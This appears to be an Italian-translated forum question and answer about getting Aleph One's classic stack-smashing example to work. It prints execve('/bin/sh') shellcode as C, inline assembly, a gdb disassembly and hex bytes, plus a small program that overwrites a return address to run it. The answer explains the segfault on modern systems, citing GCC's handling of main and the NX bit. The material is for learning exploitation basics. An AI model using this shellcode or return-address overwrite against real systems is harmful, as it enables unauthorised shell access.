Stack Smashing problem

2

Attualmente sto leggendo l'articolo popolare di "Smashing the Stack per divertimento e profitto" di Aleph One, ma ho un problema. Cercherò di isolare il problema e presentarvi solo i dettagli.

Anche se sono riuscito ad adattare i primi esempi per il mio compilatore, sono bloccato dall'esempio "testsc2.c". Esporrò questo problema brevemente. In questo esempio inizia dai seguenti 2 programmi semplici:

1)

#include stdio.h

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

2)

#include stdlib.h

void main() {
        exit(0);
}

Dopo aver analizzato il "gdb disassemble" di questi due programmi, scrive un programma assemblatore facendo ciò che stanno facendo questi due programmi (iniziando una shell). Ho adattato quel programma per il mio compilatore e ho ottenuto: (È molto interessante l'istruzione da JMP a CALL e dopo quella da CALL a POP per trovare l'indirizzo della stringa).

shell.c

 void main() {
        __asm__(
                " jmp .+44             ;"
                " popl %esi            ;"
                " movl %esi, 0x8(%esi) ;"
                " movb $0x0, 0x7(%esi) ;"
                " movl $0x0, 0xc(%esi) ;"
                " movl $0xb, %eax      ;"
                " movl %esi, %ebx      ;"
                " leal 0x8(%esi), %ecx ;"
                " leal 0xc(%esi), %edx ;"
                " int  $0x80           ;"
                " movl $0x1, %eax      ;"
                " movl $0x0, %ebx      ;"
                " int  $0x80           ;"
                " call .-42            ;"
                " .string \"/bin/sh\"  ;"

        );
        }

Il mio grosso problema è che questo programma mi dà un SEG FAULT. Non dovresti aver aperto una shell?

Il "gdb disassemble per il programma è:

0x080483b4 <+0>:    push   %ebp
   0x080483b5 <+1>:     mov    %esp,%ebp
   0x080483b7 <+3>:     jmp    0x80483e3 <main+47>
   0x080483b9 <+5>:     pop    %esi
   0x080483ba <+6>:     mov    %esi,0x8(%esi)
   0x080483bd <+9>:     movb   $0x0,0x7(%esi)
   0x080483c1 <+13>:    movl   $0x0,0xc(%esi)
   0x080483c8 <+20>:    mov    $0xb,%eax
   0x080483cd <+25>:    mov    %esi,%ebx
   0x080483cf <+27>:    lea    0x8(%esi),%ecx
   0x080483d2 <+30>:    lea    0xc(%esi),%edx
   0x080483d5 <+33>:    int    $0x80
   0x080483d7 <+35>:    mov    $0x1,%eax
   0x080483dc <+40>:    mov    $0x0,%ebx
   0x080483e1 <+45>:    int    $0x80
   0x080483e3 <+47>:    call   0x80483b9 <main+5>
   0x080483e8 <+52>:    das
   0x080483e9 <+53>:    bound  %ebp,0x6e(%ecx)
   0x080483ec <+56>:    das
   0x080483ed <+57>:    jae    0x8048457 <__libc_csu_init+87>
   0x080483ef <+59>:    add    %bl,-0x3d(%ebp) 

Dopodiché, con gdb ottengo lo shellcode:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\xc3";

Il codice che ottiene (Aleph One nel suo articolo) differisce dal mio solo con 2 caratteri hexa (caratteri in grassetto) sull'ultima riga:

char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";'
// Difference                            ^^^^^^^^

Sto usando il prossimo programma per avviare una shell:

char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\xc3";'


void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

Se eseguo shell.c, ricevo un SEG FAULT. Penso che dovrebbe aver aperto una shell. Anche se eseguo il programma sopra con il codice shell ottengo A SEG FAULT. Penso che ci sia un problema con i segmenti disallineati ma non ne sono sicuro. Non so come eseguire il debug perché sono un principiante con gdb. Ci scusiamo per il mio lungo post. Qualsiasi consiglio sarebbe molto apprezzato.

    
posta Doru_RO 13.02.2013 - 21:56
fonte

1 risposta

7

Innanzi tutto, il documento che stai leggendo ha più di un decennio e non è più applicabile ai sistemi moderni.

Il problema che stai affrontando è che nell'ultima versione di GCC, main non "restituisce" più come una normale funzione, è solo uscita. Se si desidera un puntatore all'indirizzo di ritorno int *ret; , è necessario dichiarare un'altra funzione e chiamare questa funzione da main. Quando questa nuova funzione tenta di tornare al main, dovrebbe eseguire il tuo codice shell. (ma il tuo shellcode non verrà ancora eseguito a causa del bit NX!)

Prova a leggere: Smashing the Stack nel 2011 , o prendi una copia di "Hacking: The Art of Exploitation, 2nd Edition "

    
risposta data 13.02.2013 - 22:18
fonte

Leggi altre domande sui tag